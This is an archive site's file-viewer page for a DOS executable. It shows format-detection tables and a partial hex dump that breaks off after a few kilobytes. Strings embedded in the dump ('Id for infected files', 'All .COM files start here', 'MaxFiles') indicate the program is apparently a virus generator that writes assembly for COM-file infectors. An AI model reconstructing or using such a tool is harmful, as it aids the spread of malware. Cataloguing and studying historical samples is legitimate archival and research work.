home *** CD-ROM | disk | FTP | other *** search
open in: 
MacOS 8.1
|
Win98
|
DOS
view JSON data
|
view as text
This file was processed as: MS-DOS/Windows or OS/2 Executable
(executable/exe).
| Confidence | Program | Detection | Match Type | Support
|
|---|
| 100%
| dexvert
| MS-DOS/Windows or OS/2 Executable (executable/exe)
| magic
| Supported |
| 1%
| dexvert
| Ady's GLUE Packed (archive/adysGLUEPacked)
| ext
| Unsupported |
| 1%
| dexvert
| BlacK FiST Packed (archive/blackFiSTPacked)
| ext
| Unsupported |
| 1%
| dexvert
| CauseWay Compressor Packed (archive/causeWayCompressorPacked)
| ext
| Unsupported |
| 1%
| dexvert
| CExe Packed (archive/cExePacked)
| ext
| Unsupported |
| 1%
| dexvert
| cIPHATOR Protected (archive/ciphatorProtected)
| ext
| Unsupported |
| 1%
| dexvert
| CRYPACK Protected (archive/crypackProtected)
| ext
| Unsupported |
| 1%
| dexvert
| CRYPTEXE Protected (archive/cryptexeProtected)
| ext
| Unsupported |
| 1%
| dexvert
| Crypt Light Show Protected (archive/cryptLightShowProtected)
| ext
| Unsupported |
| 1%
| dexvert
| DaRKSToP Protected (archive/darkstopProtected)
| ext
| Unsupported |
| 1%
| dexvert
| DiskImager SFX Image (archive/diskImagerSFXImage)
| ext
| Unsupported |
| 1%
| dexvert
| Dismember EXE CRYPT Protected (archive/dismemberProtected)
| ext
| Unsupported |
| 1%
| dexvert
| DJP Packed (archive/djpPacked)
| ext
| Unsupported |
| 1%
| dexvert
| .NETZ Packed (archive/dotNETZPacked)
| ext
| Unsupported |
| 1%
| dexvert
| DSHIELD Protected (archive/dshieldProtected)
| ext
| Unsupported |
| 1%
| dexvert
| Exe32Pack Packed (archive/exe32PackPacked)
| ext
| Unsupported |
| 1%
| dexvert
| ExeHigh Packed (archive/exeHighPacked)
| ext
| Unsupported |
| 1%
| dexvert
| EXE Manager Protected (archive/exeManagerProtected)
| ext
| Unsupported |
| 1%
| dexvert
| EXETOOLS Protected (archive/exetoolsProtected)
| ext
| Unsupported |
| 1%
| dexvert
| EZip Packed (archive/ezipPacked)
| ext
| Unsupported |
| 1%
| dexvert
| FSG Packed (archive/fsgPacked)
| ext
| Unsupported |
| 1%
| dexvert
| HackStop Protected (archive/hackStopProtected)
| ext
| Unsupported |
| 1%
| dexvert
| JMCryptExe Protected (archive/jmCryptExeProtected)
| ext
| Unsupported |
| 1%
| dexvert
| JDPack Packed (archive/kdPackPacked)
| ext
| Unsupported |
| 1%
| dexvert
| kkrunchy Packed (archive/kkcrunchPacked)
| ext
| Unsupported |
| 1%
| dexvert
| mbp SHRINK Packed (archive/mbpSHRINKPacked)
| ext
| Unsupported |
| 1%
| dexvert
| MEGALITE Packed (archive/megalitePacked)
| ext
| Unsupported |
| 1%
| dexvert
| Mess Protected (archive/messProtected)
| ext
| Unsupported |
| 1%
| dexvert
| Mew Packed (archive/mewPacked)
| ext
| Unsupported |
| 1%
| dexvert
| MPRESS Packed (archive/mpressPacked)
| ext
| Unsupported |
| 1%
| dexvert
| NOS Packer Packed (archive/nosPackerPacked)
| ext
| Unsupported |
| 1%
| dexvert
| NTShell Protected (archive/ntShellProtected)
| ext
| Unsupported |
| 1%
| dexvert
| Pack Master Packed (archive/packMasterPacked)
| ext
| Unsupported |
| 1%
| dexvert
| PE Diminisher Packed (archive/peDiminisherPacked)
| ext
| Unsupported |
| 1%
| dexvert
| Petite Packed (archive/petitePacked)
| ext
| Unsupported |
| 1%
| dexvert
| PeX Packed (archive/pexPacked)
| ext
| Unsupported |
| 1%
| dexvert
| PKLITE32 Packed (archive/pklite32Packed)
| ext
| Unsupported |
| 1%
| dexvert
| PowerBatch Packed (archive/powerBatchPacked)
| ext
| Unsupported |
| 1%
| dexvert
| protector Protected (archive/protectorProtected)
| ext
| Unsupported |
| 1%
| dexvert
| py2exe Packed (archive/py2exePacked)
| ext
| Unsupported |
| 1%
| dexvert
| PyInstaller Packed (archive/pyInstallerPacked)
| ext
| Unsupported |
| 1%
| dexvert
| RERP Packed (archive/rerpPacked)
| ext
| Unsupported |
| 1%
| dexvert
| Scramb Packed (archive/scrambPacked)
| ext
| Unsupported |
| 1%
| dexvert
| SECURE Protected (archive/secureProtected)
| ext
| Unsupported |
| 1%
| dexvert
| Shrinker Packed (Windows) (archive/shrinkerWindowsPacked)
| ext
| Unsupported |
| 1%
| dexvert
| Spoon Studio Packed (archive/spoonStudioPacked)
| ext
| Unsupported |
| 1%
| dexvert
| tElock Packed (archive/telockPacked)
| ext
| Unsupported |
| 1%
| dexvert
| The Builder Packed (archive/theBuilderPacked)
| ext
| Unsupported |
| 1%
| dexvert
| The Patcher Packed (archive/thePatcherPacked)
| ext
| Unsupported |
| 1%
| dexvert
| 32Lite Packed (archive/thirtyTwoLitePacked)
| ext
| Unsupported |
| 1%
| dexvert
| TinyProt Protected (archive/tinyProtProtected)
| ext
| Unsupported |
| 1%
| dexvert
| (Win)Upack Packed (archive/winUpackPacked)
| ext
| Unsupported |
| 1%
| dexvert
| Yoda's Crypte Protected (archive/yodasCrypterProtected)
| ext
| Unsupported |
| 1%
| dexvert
| MS-DOS PMODE extender executable (executable/msdosPMODEExtenderExecutable)
| ext
| Unsupported |
| 1%
| dexvert
| Sony Playstation Executable (executable/sonyPlaystationExe)
| ext
| Unsupported |
| 1%
| dexvert
| Novell Netware Virtual Loadable Module (other/novellNetwareVirtualLoadableModule)
| ext
| Unsupported |
| 100%
| file
| MS-DOS executable, MZ for MS-DOS
| default
| |
| 99%
| file
| data
| default
| |
| 71%
| TrID
| DOS Borland compiled Executable (generic)
| default
| |
| 14%
| TrID
| Generic Win/DOS Executable
| default
| |
| 14%
| TrID
| DOS Executable Generic
| default
| |
| 100%
| siegfried
| x-fmt/409 MS-DOS Executable
| default
| |
| 100%
| gt2
| Ist eine ausf�hrbare DOS Datei
| default
| |
| 100%
| xdgMime
| application/x-dosexec
| default (weak)
|
|
hex view+--------+-------------------------+-------------------------+--------+--------+
|00000000| 4d 5a f0 00 46 00 8a 02 | a5 00 a2 03 a2 03 f6 09 |MZ..F...|........|
|00000010| 58 1b 00 00 56 58 00 00 | 1c 00 00 00 15 00 00 00 |X...VX..|........|
|00000020| 52 00 00 00 6c 00 00 00 | 7a 00 00 00 7f 00 00 00 |R...l...|z.......|
|00000030| 84 00 00 00 9a 00 00 00 | a8 00 00 00 ad 00 00 00 |........|........|
|00000040| b2 00 00 00 f0 00 00 00 | f5 00 00 00 fa 00 00 00 |........|........|
|00000050| 16 01 00 00 24 01 00 00 | 29 01 00 00 2e 01 00 00 |....$...|).......|
|00000060| 42 01 00 00 85 01 00 00 | 8a 01 00 00 8f 01 00 00 |B.......|........|
|00000070| a5 01 00 00 aa 01 00 00 | af 01 00 00 e3 01 00 00 |........|........|
|00000080| e8 01 00 00 ed 01 00 00 | 09 02 00 00 17 02 00 00 |........|........|
|00000090| 1c 02 00 00 21 02 00 00 | 50 03 00 00 5d 03 00 00 |....!...|P...]...|
|000000a0| 79 03 00 00 92 03 00 00 | ab 03 00 00 bd 03 00 00 |y.......|........|
|000000b0| c2 03 00 00 c7 03 00 00 | d9 03 00 00 e6 03 00 00 |........|........|
|000000c0| f3 03 00 00 00 04 00 00 | 05 04 00 00 0a 04 00 00 |........|........|
|000000d0| 1c 04 00 00 21 04 00 00 | 26 04 00 00 30 04 00 00 |....!...|&...0...|
|000000e0| 35 04 00 00 3f 04 00 00 | 44 04 00 00 56 04 00 00 |5...?...|D...V...|
|000000f0| 5b 04 00 00 60 04 00 00 | 84 04 00 00 89 04 00 00 |[...`...|........|
|00000100| 99 04 00 00 a3 04 00 00 | ad 04 00 00 cc 04 00 00 |........|........|
|00000110| d6 04 00 00 e8 04 00 00 | ed 04 00 00 33 05 00 00 |........|....3...|
|00000120| 38 05 00 00 89 0b 00 00 | bb 0b 00 00 c0 0b 00 00 |8.......|........|
|00000130| d6 0b 00 00 0e 0c 00 00 | 18 0c 00 00 29 0c 00 00 |........|....)...|
|00000140| 61 0c 00 00 6b 0c 00 00 | 75 0c 00 00 86 0c 00 00 |a...k...|u.......|
|00000150| cc 0c 00 00 d1 0c 00 00 | e8 0c 00 00 ed 0c 00 00 |........|........|
|00000160| 03 0d 00 00 15 0d 00 00 | 1f 0d 00 00 31 0d 00 00 |........|....1...|
|00000170| 36 0d 00 00 6f 0d 00 00 | 74 0d 00 00 ee 0d 00 00 |6...o...|t.......|
|00000180| f3 0d 00 00 73 0e 00 00 | 78 0e 00 00 d0 0e 00 00 |....s...|x.......|
|00000190| d5 0e 00 00 29 0f 00 00 | 2e 0f 00 00 cd 0f 00 00 |....)...|........|
|000001a0| d2 0f 00 00 1e 10 00 00 | 23 10 00 00 47 10 00 00 |........|#...G...|
|000001b0| 4c 10 00 00 ac 10 00 00 | b1 10 00 00 47 11 00 00 |L.......|....G...|
|000001c0| 4c 11 00 00 0f 12 00 00 | 6f 12 00 00 74 12 00 00 |L.......|o...t...|
|000001d0| 1e 14 00 00 76 14 00 00 | 7b 14 00 00 9f 14 00 00 |....v...|{.......|
|000001e0| a4 14 00 00 d5 14 00 00 | da 14 00 00 f1 14 00 00 |........|........|
|000001f0| f6 14 00 00 43 15 00 00 | 48 15 00 00 6c 15 00 00 |....C...|H...l...|
|00000200| 71 15 00 00 4f 19 00 00 | 66 19 00 00 6b 19 00 00 |q...O...|f...k...|
|00000210| be 19 00 00 c3 19 00 00 | e7 19 00 00 ec 19 00 00 |........|........|
|00000220| 3f 1a 00 00 44 1a 00 00 | 76 1a 00 00 7b 1a 00 00 |?...D...|v...{...|
|00000230| a0 1a 00 00 a5 1a 00 00 | de 1a 00 00 e3 1a 00 00 |........|........|
|00000240| 08 1b 00 00 0d 1b 00 00 | 59 1b 00 00 5e 1b 00 00 |........|Y...^...|
|00000250| 11 1c 00 00 16 1c 00 00 | d5 1c 00 00 35 1d 00 00 |........|....5...|
|00000260| 3a 1d 00 00 f5 2a 00 00 | 52 2b 00 00 57 2b 00 00 |:....*..|R+..W+..|
|00000270| 95 2b 00 00 9a 2b 00 00 | be 2b 00 00 c3 2b 00 00 |.+...+..|.+...+..|
|00000280| 02 2c 00 00 0c 2c 00 00 | 2b 2c 00 00 30 2c 00 00 |.,...,..|+,..0,..|
|00000290| 47 2c 00 00 51 2c 00 00 | 70 2c 00 00 75 2c 00 00 |G,..Q,..|p,..u,..|
|000002a0| 22 2d 00 00 27 2d 00 00 | 6c 2d 00 00 71 2d 00 00 |"-..'-..|l-..q-..|
|000002b0| 88 2d 00 00 8d 2d 00 00 | d9 2d 00 00 de 2d 00 00 |.-...-..|.-...-..|
|000002c0| 09 2e 00 00 0e 2e 00 00 | a1 2e 00 00 a6 2e 00 00 |........|........|
|000002d0| ca 2e 00 00 cf 2e 00 00 | 2e 2f 00 00 33 2f 00 00 |........|./..3/..|
|000002e0| 64 2f 00 00 69 2f 00 00 | db 2f 00 00 e0 2f 00 00 |d/..i/..|./.../..|
|000002f0| 1e 30 00 00 23 30 00 00 | 47 30 00 00 4c 30 00 00 |.0..#0..|G0..L0..|
|00000300| 8a 30 00 00 8f 30 00 00 | b3 30 00 00 b8 30 00 00 |.0...0..|.0...0..|
|00000310| 2a 31 00 00 2f 31 00 00 | 53 31 00 00 58 31 00 00 |*1../1..|S1..X1..|
|00000320| 7c 31 00 00 81 31 00 00 | dd 31 00 00 e2 31 00 00 ||1...1..|.1...1..|
|00000330| 06 32 00 00 0b 32 00 00 | 5d 32 00 00 62 32 00 00 |.2...2..|]2..b2..|
|00000340| 86 32 00 00 8b 32 00 00 | 12 33 00 00 17 33 00 00 |.2...2..|.3...3..|
|00000350| 2e 33 00 00 33 33 00 00 | 72 33 00 00 77 33 00 00 |.3..33..|r3..w3..|
|00000360| 0e 34 00 00 13 34 00 00 | 37 34 00 00 3c 34 00 00 |.4...4..|74..<4..|
|00000370| 95 34 00 00 9a 34 00 00 | b1 34 00 00 b6 34 00 00 |.4...4..|.4...4..|
|00000380| da 36 00 00 9b 37 00 00 | a0 37 00 00 e4 37 00 00 |.6...7..|.7...7..|
|00000390| ee 37 00 00 71 38 00 00 | 7b 38 00 00 fe 38 00 00 |.7..q8..|{8...8..|
|000003a0| 08 39 00 00 8b 39 00 00 | 95 39 00 00 e4 39 00 00 |.9...9..|.9...9..|
|000003b0| e9 39 00 00 0d 3a 00 00 | 12 3a 00 00 56 3a 00 00 |.9...:..|.:..V:..|
|000003c0| 60 3a 00 00 e3 3a 00 00 | ed 3a 00 00 70 3b 00 00 |`:...:..|.:..p;..|
|000003d0| 7a 3b 00 00 cf 3b 00 00 | d4 3b 00 00 20 3c 00 00 |z;...;..|.;.. <..|
|000003e0| 25 3c 00 00 6b 3c 00 00 | 88 3c 00 00 b7 3c 00 00 |%<..k<..|.<...<..|
|000003f0| ca 3c 00 00 dc 3c 00 00 | e1 3c 00 00 1c 3d 00 00 |.<...<..|.<...=..|
|00000400| 21 3d 00 00 11 3f 00 00 | 7d 3f 00 00 82 3f 00 00 |!=...?..|}?...?..|
|00000410| c0 3f 00 00 c5 3f 00 00 | 38 40 00 00 3d 40 00 00 |.?...?..|8@..=@..|
|00000420| a3 40 00 00 a8 40 00 00 | e0 40 00 00 e5 40 00 00 |.@...@..|.@...@..|
|00000430| 5d 42 00 00 71 42 00 00 | 7b 42 00 00 85 42 00 00 |]B..qB..|{B...B..|
|00000440| 9d 42 00 00 a7 42 00 00 | b1 42 00 00 ec 42 00 00 |.B...B..|.B...B..|
|00000450| ff 42 00 00 09 43 00 00 | 30 43 00 00 35 43 00 00 |.B...C..|0C..5C..|
|00000460| 96 43 00 00 9b 43 00 00 | 1a 4b 00 00 27 4b 00 00 |.C...C..|.K..'K..|
|00000470| 03 4c 00 00 08 4c 00 00 | 2b 4c 00 00 3d 4c 00 00 |.L...L..|+L..=L..|
|00000480| 47 4c 00 00 51 4c 00 00 | 85 4d 00 00 8a 4d 00 00 |GL..QL..|.M...M..|
|00000490| a1 4d 00 00 a6 4d 00 00 | d3 4d 00 00 dd 4d 00 00 |.M...M..|.M...M..|
|000004a0| e7 4d 00 00 41 4e 00 00 | 4b 4e 00 00 55 4e 00 00 |.M..AN..|KN..UN..|
|000004b0| 5f 4f 00 00 69 4f 00 00 | 73 4f 00 00 8b 4f 00 00 |_O..iO..|sO...O..|
|000004c0| 95 4f 00 00 9f 4f 00 00 | c7 50 00 00 cc 50 00 00 |.O...O..|.P...P..|
|000004d0| e3 50 00 00 e8 50 00 00 | 47 53 00 00 62 53 00 00 |.P...P..|GS..bS..|
|000004e0| 67 53 00 00 0b 54 00 00 | 15 54 00 00 1f 54 00 00 |gS...T..|.T...T..|
|000004f0| 31 54 00 00 36 54 00 00 | 4d 54 00 00 52 54 00 00 |1T..6T..|MT..RT..|
|00000500| 76 54 00 00 7b 54 00 00 | 85 54 00 00 8a 54 00 00 |vT..{T..|.T...T..|
|00000510| 9c 54 00 00 a1 54 00 00 | a6 54 00 00 b8 54 00 00 |.T...T..|.T...T..|
|00000520| bd 54 00 00 c2 54 00 00 | d4 54 00 00 d9 54 00 00 |.T...T..|.T...T..|
|00000530| de 54 00 00 f0 54 00 00 | f5 54 00 00 fa 54 00 00 |.T...T..|.T...T..|
|00000540| 0c 55 00 00 11 55 00 00 | 16 55 00 00 20 55 00 00 |.U...U..|.U.. U..|
|00000550| 25 55 00 00 34 55 00 00 | 59 58 00 00 5e 58 00 00 |%U..4U..|YX..^X..|
|00000560| 63 58 00 00 6e 58 00 00 | 77 58 00 00 7c 58 00 00 |cX..nX..|wX..|X..|
|00000570| 81 58 00 00 89 58 00 00 | ca 58 00 00 cf 58 00 00 |.X...X..|.X...X..|
|00000580| e1 58 00 00 e6 58 00 00 | eb 58 00 00 f5 58 00 00 |.X...X..|.X...X..|
|00000590| fa 58 00 00 0c 59 00 00 | 19 59 00 00 26 59 00 00 |.X...Y..|.Y..&Y..|
|000005a0| 2b 59 00 00 30 59 00 00 | 3a 59 00 00 3f 59 00 00 |+Y..0Y..|:Y..?Y..|
|000005b0| 44 59 00 00 5b 59 00 00 | 60 59 00 00 65 59 00 00 |DY..[Y..|`Y..eY..|
|000005c0| 77 59 00 00 7c 59 00 00 | 81 59 00 00 93 59 00 00 |wY..|Y..|.Y...Y..|
|000005d0| 98 59 00 00 9d 59 00 00 | a7 59 00 00 ac 59 00 00 |.Y...Y..|.Y...Y..|
|000005e0| b3 59 00 00 c7 59 00 00 | cc 59 00 00 d6 59 00 00 |.Y...Y..|.Y...Y..|
|000005f0| db 59 00 00 f1 59 00 00 | f6 59 00 00 fb 59 00 00 |.Y...Y..|.Y...Y..|
|00000600| 0d 5a 00 00 12 5a 00 00 | 17 5a 00 00 21 5a 00 00 |.Z...Z..|.Z..!Z..|
|00000610| 26 5a 00 00 2d 5a 00 00 | 3f 5a 00 00 44 5a 00 00 |&Z..-Z..|?Z..DZ..|
|00000620| 49 5a 00 00 53 5a 00 00 | 58 5a 00 00 69 5a 00 00 |IZ..SZ..|XZ..iZ..|
|00000630| 71 5a 00 00 76 5a 00 00 | 80 5a 00 00 88 5a 00 00 |qZ..vZ..|.Z...Z..|
|00000640| 8d 5a 00 00 9e 5a 00 00 | a3 5a 00 00 c1 5a 00 00 |.Z...Z..|.Z...Z..|
|00000650| c6 5a 00 00 cb 5a 00 00 | e9 5a 00 00 ee 5a 00 00 |.Z...Z..|.Z...Z..|
|00000660| f3 5a 00 00 2f 5b 00 00 | 34 5b 00 00 39 5b 00 00 |.Z../[..|4[..9[..|
|00000670| 7c 5b 00 00 81 5b 00 00 | 86 5b 00 00 c9 5b 00 00 ||[...[..|.[...[..|
|00000680| ce 5b 00 00 d3 5b 00 00 | 0f 5c 00 00 14 5c 00 00 |.[...[..|.\...\..|
|00000690| 19 5c 00 00 37 5c 00 00 | 3c 5c 00 00 41 5c 00 00 |.\..7\..|<\..A\..|
|000006a0| 84 5c 00 00 89 5c 00 00 | 8e 5c 00 00 a8 5c 00 00 |.\...\..|.\...\..|
|000006b0| c9 5c 00 00 ce 5c 00 00 | d3 5c 00 00 57 5d 00 00 |.\...\..|.\..W]..|
|000006c0| 5c 5d 00 00 61 5d 00 00 | 7b 5d 00 00 99 5d 00 00 |\]..a]..|{]...]..|
|000006d0| 9e 5d 00 00 a3 5d 00 00 | bd 5d 00 00 db 5d 00 00 |.]...]..|.]...]..|
|000006e0| e0 5d 00 00 e5 5d 00 00 | 03 5e 00 00 08 5e 00 00 |.]...]..|.^...^..|
|000006f0| 0d 5e 00 00 3c 5e 00 00 | 41 5e 00 00 46 5e 00 00 |.^..<^..|A^..F^..|
|00000700| 5e 5e 00 00 66 5e 00 00 | 6b 5e 00 00 7e 5e 00 00 |^^..f^..|k^..~^..|
|00000710| 83 5e 00 00 88 5e 00 00 | a2 5e 00 00 bc 5e 00 00 |.^...^..|.^...^..|
|00000720| d5 5e 00 00 ee 5e 00 00 | 07 5f 00 00 20 5f 00 00 |.^...^..|._.. _..|
|00000730| 39 5f 00 00 6b 5f 00 00 | 70 5f 00 00 75 5f 00 00 |9_..k_..|p_..u_..|
|00000740| 88 5f 00 00 8d 5f 00 00 | 92 5f 00 00 a1 5f 00 00 |._..._..|._..._..|
|00000750| b9 5f 00 00 be 5f 00 00 | c3 5f 00 00 06 60 00 00 |._..._..|._...`..|
|00000760| 15 60 00 00 36 60 00 00 | 3b 60 00 00 59 60 00 00 |.`..6`..|;`..Y`..|
|00000770| 5e 60 00 00 63 60 00 00 | 80 60 00 00 85 60 00 00 |^`..c`..|.`...`..|
|00000780| 8a 60 00 00 9e 60 00 00 | a3 60 00 00 af 60 00 00 |.`...`..|.`...`..|
|00000790| b4 60 00 00 c6 60 00 00 | cb 60 00 00 d0 60 00 00 |.`...`..|.`...`..|
|000007a0| d7 60 00 00 e4 60 00 00 | e9 60 00 00 fb 60 00 00 |.`...`..|.`...`..|
|000007b0| 00 61 00 00 05 61 00 00 | 0f 61 00 00 14 61 00 00 |.a...a..|.a...a..|
|000007c0| 1d 61 00 00 2c 61 00 00 | 36 61 00 00 3b 61 00 00 |.a..,a..|6a..;a..|
|000007d0| 51 61 00 00 56 61 00 00 | 5b 61 00 00 6d 61 00 00 |Qa..Va..|[a..ma..|
|000007e0| 72 61 00 00 77 61 00 00 | 81 61 00 00 86 61 00 00 |ra..wa..|.a...a..|
|000007f0| 8d 61 00 00 9f 61 00 00 | ae 61 00 00 b6 61 00 00 |.a...a..|.a...a..|
|00000800| bb 61 00 00 c0 61 00 00 | d2 61 00 00 df 61 00 00 |.a...a..|.a...a..|
|00000810| e4 61 00 00 e9 61 00 00 | fb 61 00 00 08 62 00 00 |.a...a..|.a...b..|
|00000820| 0d 62 00 00 12 62 00 00 | 24 62 00 00 31 62 00 00 |.b...b..|$b..1b..|
|00000830| 36 62 00 00 3b 62 00 00 | 45 62 00 00 4a 62 00 00 |6b..;b..|Eb..Jb..|
|00000840| 5c 62 00 00 69 62 00 00 | 76 62 00 00 7b 62 00 00 |\b..ib..|vb..{b..|
|00000850| 80 62 00 00 93 62 00 00 | 98 62 00 00 9d 62 00 00 |.b...b..|.b...b..|
|00000860| a6 62 00 00 b9 62 00 00 | be 62 00 00 c3 62 00 00 |.b...b..|.b...b..|
|00000870| cc 62 00 00 e6 62 00 00 | eb 62 00 00 f0 62 00 00 |.b...b..|.b...b..|
|00000880| f9 62 00 00 0c 63 00 00 | 11 63 00 00 16 63 00 00 |.b...c..|.c...c..|
|00000890| 1f 63 00 00 32 63 00 00 | 37 63 00 00 3c 63 00 00 |.c..2c..|7c..<c..|
|000008a0| 45 63 00 00 58 63 00 00 | 5d 63 00 00 62 63 00 00 |Ec..Xc..|]c..bc..|
|000008b0| 6b 63 00 00 7e 63 00 00 | 83 63 00 00 88 63 00 00 |kc..~c..|.c...c..|
|000008c0| 91 63 00 00 a6 63 00 00 | ab 63 00 00 b0 63 00 00 |.c...c..|.c...c..|
|000008d0| b9 63 00 00 ce 63 00 00 | d3 63 00 00 d8 63 00 00 |.c...c..|.c...c..|
|000008e0| e1 63 00 00 fd 63 00 00 | 02 64 00 00 07 64 00 00 |.c...c..|.d...d..|
|000008f0| 10 64 00 00 25 64 00 00 | 2a 64 00 00 2f 64 00 00 |.d..%d..|*d../d..|
|00000900| 38 64 00 00 4a 64 00 00 | 4f 64 00 00 54 64 00 00 |8d..Jd..|Od..Td..|
|00000910| 5e 64 00 00 63 64 00 00 | 8e 64 00 00 98 64 00 00 |^d..cd..|.d...d..|
|00000920| a6 64 00 00 ab 64 00 00 | b0 64 00 00 c2 64 00 00 |.d...d..|.d...d..|
|00000930| c7 64 00 00 cc 64 00 00 | dc 64 00 00 ec 64 00 00 |.d...d..|.d...d..|
|00000940| f6 64 00 00 00 65 00 00 | 0a 65 00 00 0f 65 00 00 |.d...e..|.e...e..|
|00000950| 21 65 00 00 26 65 00 00 | 2b 65 00 00 49 65 00 00 |!e..&e..|+e..Ie..|
|00000960| 59 65 00 00 63 65 00 00 | 6d 65 00 00 77 65 00 00 |Ye..ce..|me..we..|
|00000970| 7c 65 00 00 8e 65 00 00 | 9e 65 00 00 a8 65 00 00 ||e...e..|.e...e..|
|00000980| b2 65 00 00 bc 65 00 00 | c1 65 00 00 c6 65 00 00 |.e...e..|.e...e..|
|00000990| d0 65 00 00 d5 65 00 00 | e7 65 00 00 ec 65 00 00 |.e...e..|.e...e..|
|000009a0| f1 65 00 00 fb 65 00 00 | 09 00 60 06 24 00 60 06 |.e...e..|..`.$.`.|
|000009b0| 37 00 60 06 3b 01 60 06 | 08 00 c2 06 37 00 c2 06 |7.`.;.`.|....7...|
|000009c0| 4e 00 c2 06 5c 00 c2 06 | 61 00 c2 06 7a 00 c2 06 |N...\...|a...z...|
|000009d0| 9d 00 c2 06 95 01 c2 06 | a6 01 c2 06 79 02 c2 06 |........|....y...|
|000009e0| 98 02 c2 06 9d 02 c2 06 | b7 02 c2 06 c4 02 c2 06 |........|........|
|000009f0| d1 02 c2 06 de 02 c2 06 | e9 02 c2 06 ee 02 c2 06 |........|........|
|00000a00| 00 03 c2 06 05 03 c2 06 | 17 03 c2 06 22 03 c2 06 |........|...."...|
|00000a10| 27 03 c2 06 2e 03 c2 06 | 3b 03 c2 06 4d 03 c2 06 |'.......|;...M...|
|00000a20| 5b 03 c2 06 ed 00 fe 06 | 01 00 12 07 1b 01 12 07 |[.......|........|
|00000a30| 10 03 12 07 24 0d 12 07 | 3f 0d 12 07 55 0d 12 07 |....$...|?...U...|
|00000a40| 74 0d 12 07 00 00 00 00 | 00 00 00 00 00 00 00 00 |t.......|........|
|00000a50| 08 20 20 20 20 20 20 20 | 20 02 3b 20 55 89 e5 b8 |. | .; U...|
|00000a60| 04 03 9a cd 02 12 07 81 | ec 04 03 8c d3 8e c3 8c |........|........|
|00000a70| db fc 8d be 00 ff c5 76 | 08 ac aa 91 30 ed f3 a4 |.......v|....0...|
|00000a80| 8d be 00 fe c5 76 04 ac | aa 91 30 ed f3 a4 8e db |.....v..|..0.....|
|00000a90| bf 00 00 0e 57 8d be 00 | fd 16 57 b8 ff 00 50 9a |....W...|..W...P.|
|00000aa0| ed 0a 12 07 80 be 00 fe | 00 75 2e bf 92 0e 1e 57 |........|.u.....W|
|00000ab0| 8d be 00 fd 16 57 31 c0 | 50 9a 01 07 12 07 8d be |.....W1.|P.......|
|00000ac0| 00 ff 16 57 31 c0 50 9a | 01 07 12 07 9a dd 05 12 |...W1.P.|........|
|00000ad0| 07 9a 91 02 12 07 e9 a7 | 00 bf 92 0e 1e 57 8d be |........|.....W..|
|00000ae0| 00 fd 16 57 31 c0 50 9a | 01 07 12 07 8d be 00 ff |...W1.P.|........|
|00000af0| 16 57 31 c0 50 9a 01 07 | 12 07 9a fe 05 12 07 9a |.W1.P...|........|
|00000b00| 91 02 12 07 8a 86 00 ff | 30 e4 8b d0 8a 86 00 fd |........|0.......|
|00000b10| 30 e4 03 c2 8b d0 b8 32 | 00 2b c2 89 86 fc fc b8 |0......2|.+......|
|00000b20| 01 00 3b 86 fc fc 7f 2e | 89 86 fe fc eb 04 ff 86 |..;.....|........|
|00000b30| fe fc bf 92 0e 1e 57 b0 | 20 50 31 c0 50 9a 7b 06 |......W.| P1.P.{.|
|00000b40| 12 07 9a fe 05 12 07 9a | 91 02 12 07 8b 86 fe fc |........|........|
|00000b50| 3b 86 fc fc 75 d8 bf 92 | 0e 1e 57 bf 09 00 0e 57 |;...u...|..W....W|
|00000b60| 31 c0 50 9a 01 07 12 07 | 8d be 00 fe 16 57 31 c0 |1.P.....|.....W1.|
|00000b70| 50 9a 01 07 12 07 9a dd | 05 12 07 9a 91 02 12 07 |P.......|........|
|00000b80| 89 ec 5d c2 08 00 02 3b | 20 55 89 e5 b8 04 02 9a |..]....;| U......|
|00000b90| cd 02 12 07 81 ec 04 02 | 8c d3 8e c3 8c db fc 8d |........|........|
|00000ba0| be 00 ff c5 76 08 ac aa | 91 30 ed f3 a4 8d be 00 |....v...|.0......|
|00000bb0| fe c5 76 04 ac aa 91 30 | ed f3 a4 8e db 80 be 00 |..v....0|........|
|00000bc0| fe 00 75 20 bf 92 0e 1e | 57 8d be 00 ff 16 57 31 |..u ....|W.....W1|
|00000bd0| c0 50 9a 01 07 12 07 9a | dd 05 12 07 9a 91 02 12 |.P......|........|
|00000be0| 07 e9 8f 00 bf 92 0e 1e | 57 8d be 00 ff 16 57 31 |........|W.....W1|
|00000bf0| c0 50 9a 01 07 12 07 9a | fe 05 12 07 9a 91 02 12 |.P......|........|
|00000c00| 07 8a 86 00 ff 30 e4 8b | d0 b8 32 00 2b c2 89 86 |.....0..|..2.+...|
|00000c10| fc fd b8 01 00 3b 86 fc | fd 7f 2e 89 86 fe fd eb |.....;..|........|
|00000c20| 04 ff 86 fe fd bf 92 0e | 1e 57 b0 20 50 31 c0 50 |........|.W. P1.P|
|00000c30| 9a 7b 06 12 07 9a fe 05 | 12 07 9a 91 02 12 07 8b |.{......|........|
|00000c40| 86 fe fd 3b 86 fc fd 75 | d8 bf 92 0e 1e 57 bf 36 |...;...u|.....W.6|
|00000c50| 01 0e 57 31 c0 50 9a 01 | 07 12 07 8d be 00 fe 16 |..W1.P..|........|
|00000c60| 57 31 c0 50 9a 01 07 12 | 07 9a dd 05 12 07 9a 91 |W1.P....|........|
|00000c70| 02 12 07 89 ec 5d c2 08 | 00 02 62 70 02 73 69 02 |.....]..|..bp.si.|
|00000c80| 64 69 0a 3b 2d 2d 2d 2d | 2d 2d 2d 2d 2d 03 3b 20 |di.;----|-----.; |
|00000c90| 20 0c 20 77 72 69 74 74 | 65 6e 20 62 79 20 1d 43 | . writt|en by .C|
|00000ca0| 6f 64 65 20 20 20 20 53 | 65 67 6d 65 6e 74 20 50 |ode S|egment P|
|00000cb0| 75 62 6c 69 63 20 27 43 | 6f 64 65 27 0f 41 73 73 |ublic 'C|ode'.Ass|
|00000cc0| 75 6d 65 20 20 43 53 3a | 43 6f 64 65 00 0c 4f 72 |ume CS:|Code..Or|
|00000cd0| 67 20 20 20 20 20 31 30 | 30 68 19 41 6c 6c 20 2e |g 10|0h.All .|
|00000ce0| 43 4f 4d 20 66 69 6c 65 | 73 20 73 74 61 72 74 20 |COM file|s start |
|00000cf0| 68 65 72 65 06 49 44 20 | 3d 20 27 01 27 15 49 64 |here.ID |= '.'.Id|
|00000d00| 20 66 6f 72 20 69 6e 66 | 65 63 74 65 64 20 66 69 | for inf|ected fi|
|00000d10| 6c 65 73 0b 4d 61 78 46 | 69 6c 65 73 20 3d 20 1c |les.MaxF|iles = .|
|00000d20| 4d 61 78 20 6e 75 6d 62 | 65 72 20 6f 66 20 66 69 |Max numb|er of fi|
